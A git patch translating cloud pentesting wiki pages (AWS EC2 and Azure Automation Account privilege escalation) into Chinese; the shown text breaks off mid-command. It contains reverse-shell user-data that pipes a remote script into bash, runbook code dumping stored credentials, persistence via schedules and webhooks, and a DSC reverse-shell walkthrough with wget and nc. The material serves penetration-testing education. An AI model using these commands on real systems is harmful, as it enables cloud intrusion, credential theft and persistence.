From 92d4b0c5533ded0b4867f84d22e7d16244a523df Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 12:03:57 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 4 +- .../aws-ec2-privesc.md | 36 ++- .../az-automation-accounts-privesc.md | 239 ++++++++++++++++++ .../az-automation-account/README.md | 170 ------------- .../az-state-configuration-rce.md | 57 ----- .../az-services/az-automation-accounts.md | 227 +++++++++++++++++ .../azure-security/az-services/vms/README.md | 34 +-- 7 files changed, 502 insertions(+), 265 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 3b1c10631..91c48f9de 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ ### `iam:PassRole`, `ec2:RunInstances` -攻击者可以 **创建一个实例并附加 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭据。 +攻击者可以 **创建一个实例并附加一个 IAM 角色,然后访问该实例** 以从元数据端点窃取 IAM 角色凭证。 - **通过 SSH 访问** -使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有 `ec2:CreateKeyPair` 权限)。 +使用 **创建的** **ssh 密钥** (`--key-name`) 运行一个新实例,然后 ssh 进入它(如果您想创建一个新的,您可能需要拥有权限 `ec2:CreateKeyPair`)。 ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **通过用户数据访问 rev shell** -您可以使用 **用户数据** (`--user-data`) 运行一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。 +您可以使用 **用户数据** (`--user-data`) 启动一个新实例,该实例将向您发送一个 **rev shell**。您不需要以这种方式指定安全组。 ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ #### 提升权限到 ECS -通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样,ECS **服务** 将在您有访问权限的 **EC2 实例** 内 **运行**,然后您可以渗透这些服务(docker 容器)并 **窃取其附加的 ECS 角色**。 +通过这组权限,您还可以 **创建一个 EC2 实例并将其注册到 ECS 集群中**。这样,ECS **服务** 将在您有访问权限的 **EC2 实例** 中 **运行**,然后您可以渗透这些服务(docker 容器)并 **窃取其附加的 ECS 角色**。 ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -80,35 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**角色**添加**到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:** +如果**实例配置文件有角色**且攻击者**无法移除它**,还有另一种变通方法。他可以**找到**一个**没有角色的实例配置文件**或**创建一个新的**(`iam:CreateInstanceProfile`),**将**该**角色**添加到该**实例配置文件**(如前所述),并**将实例配置文件**关联到一个被攻陷的**实例:** -- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`)\* +- 如果实例**没有任何实例**配置文件(`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**潜在影响:** 直接提升权限到不同的 EC2 角色(你需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置文件状态)。 +**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置文件状态)。 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭证。 +拥有这些权限后,可以更改与实例关联的实例配置文件,因此如果攻击者已经访问了一个实例,他将能够通过更改与之关联的配置文件来窃取更多实例配置文件角色的凭据。 -- 如果它 **有一个实例配置文件**,你可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联** 它 \* +- 如果它 **有一个实例配置文件**,您可以 **移除** 实例配置文件 (`ec2:DisassociateIamInstanceProfile`) 并 **关联** 它。 ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- 或 **替换** 被攻陷实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- 或 **替换** 被攻陷实例的 **实例配置文件** (`ec2:ReplaceIamInstanceProfileAssociation`)。 ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例并且拥有一些额外的权限或特定的实例配置状态)。 +**潜在影响:** 直接提升权限到不同的 EC2 角色(您需要已经攻陷一个 AWS EC2 实例,并且拥有一些额外的权限或特定的实例配置状态)。 ### `ec2:RequestSpotInstances`,`iam:PassRole` -拥有权限 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 的攻击者可以 **请求** 一个带有 **EC2 角色** 和 **反向 shell** 的 **Spot 实例** 在 **用户数据** 中。\ +拥有权限 **`ec2:RequestSpotInstances` 和 `iam:PassRole`** 的攻击者可以 **请求** 一个 **附加了 EC2 角色** 的 **Spot 实例**,并在 **用户数据** 中放置一个 **反向 shell**。\ 一旦实例运行,他可以 **窃取 IAM 角色**。 ```bash REV=$(printf '#!/bin/bash @@ -123,7 +121,7 @@ aws ec2 request-spot-instances \ 拥有 **`ec2:ModifyInstanceAttribute`** 的攻击者可以修改实例属性。其中,他可以 **更改用户数据**,这意味着他可以使实例 **运行任意数据**。这可以用来获取 **对 EC2 实例的反向 shell**。 -请注意,属性只能在 **实例停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。 +请注意,属性只能在实例 **停止时** 进行 **修改**,因此需要 **权限** **`ec2:StopInstances`** 和 **`ec2:StartInstances`**。 ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -164,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -具有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 和 `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell** 和 **任何 EC2 IAM 角色**,更改默认版本,任何 **使用** 该 **启动模板** 的 **自动扩展组** 如果配置为使用 **最新** 或 **默认版本**,将会 **重新运行实例**,并执行反向 shell。 +拥有权限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 和 `ec2:ModifyLaunchTemplate`** 的攻击者可以创建一个 **新的启动模板版本**,在 **用户数据** 中包含 **反向 shell** 和 **任何 EC2 IAM 角色**,更改默认版本,任何 **使用** 该 **启动模板** 的 **自动扩展组** 如果配置为使用 **最新** 或 **默认版本**,将会 **重新运行实例**,并执行反向 shell。 ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -这种方法对特权提升并不是很有用,因为你需要知道用户名和密码才能利用它。 +这种方式对权限提升并不是很有用,因为你需要知道用户名和密码才能利用它。 -**潜在影响:**(高度不可证明)直接特权提升到附加到运行实例的 EC2 IAM 角色。 +**潜在影响:**(高度不可证明)直接权限提升到附加到运行实例的 EC2 IAM 角色。 ### `describe-launch-templates`,`describe-launch-template-versions` -由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中的凭据。为此,以下脚本循环遍历所有可用启动模板的版本: +由于启动模板具有版本控制,拥有 **`ec2:describe-launch-templates`** 和 **`ec2:describe-launch-template-versions`** 权限的攻击者可以利用这些权限发现敏感信息,例如用户数据中存在的凭据。为此,以下脚本循环遍历所有可用启动模板的版本: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..be5b79492 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +更多信息请查看: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +总的来说,这些权限允许在自动化帐户中**创建、修改和运行 Runbooks**,您可以利用这些权限在自动化帐户的上下文中**执行代码**,并提升到分配的**托管身份**的权限,泄露存储在自动化帐户中的**凭据**和**加密变量**。 + +权限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**允许使用以下方式修改自动化帐户中 Runbook 的代码: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。 + +权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +权限 **`Microsoft.Automation/automationAccounts/jobs/write`** 允许用户使用以下方式在自动化帐户中运行 Runbook: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +权限 **`Microsoft.Automation/automationAccounts/jobs/output/read`** 允许用户使用以下方式读取自动化帐户中作业的输出: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +如果没有创建 Runbooks,或者您想创建一个新的,您将需要 **权限 `Microsoft.Resources/subscriptions/resourcegroups/read` 和 `Microsoft.Automation/automationAccounts/runbooks/write`** 来执行此操作: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +此权限允许用户使用**分配用户管理的身份**到自动化帐户: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**,可以在自动化帐户中创建一个每15分钟执行一次的新计划(不太隐蔽),使用以下命令。 + +请注意,**计划的最小间隔为15分钟**,而**最早开始时间为未来5分钟**。 +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> 在前面的示例中,jobchedule id 被留作 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 作为示例**,但您需要使用一个任意值来创建此分配。 + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 + +请注意,您需要 **指明 webhook URI** 以及要使用的令牌。 +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +仅凭权限 `Microsoft.Automation/automationAccounts/runbooks/draft/write`,就可以 **更新 Runbook 的代码** 而无需发布,并使用以下命令运行它。 +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +此权限允许用户使用以下命令**配置源控制**以用于自动化帐户(以下使用Github作为示例): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +这将自动将运行簿从Github存储库导入到自动化帐户,并且通过一些其他权限开始运行它们将**可能提升权限**。 + +此外,请记住,要在自动化帐户中使用源控制,它必须具有角色**`Contributor`**的托管身份,如果是用户管理的身份,则可以通过在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中设置要使用的用户管理身份的**客户端ID**来进行配置。 + +> [!TIP] +> 请注意,一旦创建源控制,就无法更改其存储库URL。 + +### 自定义运行时环境 + +如果自动化帐户使用自定义运行时环境,则可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当执行使用该自定义运行时的运行簿并加载自定义包时,恶意代码将被执行。 + +### 破坏状态配置 + +**查看完整帖子:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- 第1步 — 创建文件 + +**所需文件:** 需要两个PowerShell脚本: +1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)获取。 +2. `push_reverse_shell_config.ps1`:一个将配置发布到VM的脚本,位于[GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 + +**自定义:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。 + +- 第2步 — 压缩配置文件 + +将`reverse_shell_config.ps1`压缩为`.zip`文件,以便准备传输到Azure存储帐户。 +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- 第 3 步 — 设置存储上下文并上传 + +压缩的配置文件使用 Azure 的 Set-AzStorageBlobContent cmdlet 上传到预定义的 Azure 存储容器 azure-pentest。 +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- 第4步 — 准备Kali Box + +Kali服务器从GitHub存储库下载RevPS.ps1有效负载。 +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +脚本被编辑以指定目标 Windows VM 和反向 shell 的端口。 + +- 第 5 步 — 发布配置文件 + +配置文件被执行,导致反向 shell 脚本被部署到 Windows VM 上的指定位置。 + +- 第 6 步 — 托管有效负载并设置监听器 + +启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +计划任务执行有效载荷,从而获得SYSTEM级别的权限。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index afc7e7b10..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## 基本信息 - -[来自文档:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation 提供基于云的自动化、操作系统更新和配置服务,支持在 Azure 和非 Azure 环境中进行一致的管理。它包括过程自动化、配置管理、更新管理、共享功能和异构特性。 - -这些类似于 Azure 中的 "**计划任务**",可以让您执行操作(动作或甚至脚本)来 **管理**、检查和配置 **Azure 环境**。 - -### 运行账户 - -当使用 **Run as Account** 时,它会创建一个带有自签名证书的 Azure AD **应用程序**,创建一个 **服务主体** 并为该账户在 **当前订阅** 中分配 **Contributor** 角色(拥有很多权限)。\ -Microsoft 建议为自动化账户使用 **Managed Identity**。 - -> [!WARNING] -> 这将在 2023 年 9 月 30 日 **移除并更改为 Managed Identities。** - -## Runbooks 和 Jobs - -**Runbooks** 允许您 **执行任意 PowerShell** 代码。这可能会被 **攻击者滥用** 来窃取 **附加主体** 的权限(如果有的话)。\ -在 **Runbooks** 的 **代码** 中,您还可能找到 **敏感信息**(例如凭据)。 - -如果您可以 **读取** **jobs**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。 - -前往 `Automation Accounts` --> `` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections` + +**作业是 Runbook 执行的一个实例**。当您运行一个 Runbook 时,会创建一个作业来跟踪该执行。每个作业包括: + +- **状态**:排队、运行、完成、失败、挂起。 +- **输出**:Runbook 执行的结果。 +- **开始和结束时间**:作业开始和完成的时间。 + +作业包含 **Runbook** 执行的 **输出**。如果您可以 **读取** **作业**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。 + +### 计划与 Webhooks + +执行 Runbook 有 3 种主要方式: + +- **计划**:用于在 **特定时间** 或 **间隔** 触发 Runbooks。 +- **Webhooks**:这些是可以用于从 **外部服务** 触发 Runbooks 的 **HTTP 端点**。请注意,创建后 webhook URL **不可见**。 +- **手动触发**:您可以从 Azure 门户和 CLI **手动触发** Runbook。 + +### 源控制 + +它允许从 **Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入 Runbooks。可以指示将 repo 的 Runbooks 发布到 Azure Automation 帐户,也可以指示 **将更改从 repo 同步** 到 Azure Automation 帐户。 + +当同步启用时,在 **Github 仓库中创建一个 webhook**,以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 时 **不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。 + +为了使配置的源控制正常工作,**Azure Automation Account** 需要具有 **`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account,只需将变量 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 设置为 **用户托管身份客户端 ID**。 + +### 运行时环境 + +创建 Runbook 时,可以选择运行时环境。默认情况下,以下运行时环境可用: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +但是,也可以 **创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含要在运行时使用的模块的 `.zip` 包。 + +### 混合工作者 + +Runbook 可以在 **Azure 内的容器** 或 **混合工作者**(非 Azure 机器)中运行。\ +在 VM 上部署 **Log Analytics Agent** 以将其注册为混合工作者。\ +混合工作者作业在 Windows 上以 **SYSTEM** 身份运行,在 Linux 上以 **nxautomation** 帐户运行。\ +每个混合工作者都注册在 **混合工作者组** 中。 + +因此,如果您可以选择在 **Windows 混合工作者** 中运行 **Runbook**,您将以 **System** 身份在外部机器上执行 **任意命令**(不错的 pivot 技术)。 + +### 状态配置 (SC) + +>[!WARNING] +> 如 [文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) 中所示,Azure Automation 状态配置将于 2027 年 9 月 30 日退役,并由 [Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) 替代。 + +Automation Accounts 还支持 **状态配置 (SC)**,这是一个帮助 **配置** 和 **维护** 您的 VM **状态** 的功能。可以 **创建** 和 **应用** DSC 配置到 **Windows** 和 **Linux** 机器。 + +从攻击者的角度来看,这很有趣,因为它允许 **在所有配置的 VM 中执行任意 PS 代码**,从而提升这些 VM 的托管身份的权限,可能会转移到新的网络...此外,配置可能包含 **敏感信息**。 + +## 枚举 +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ 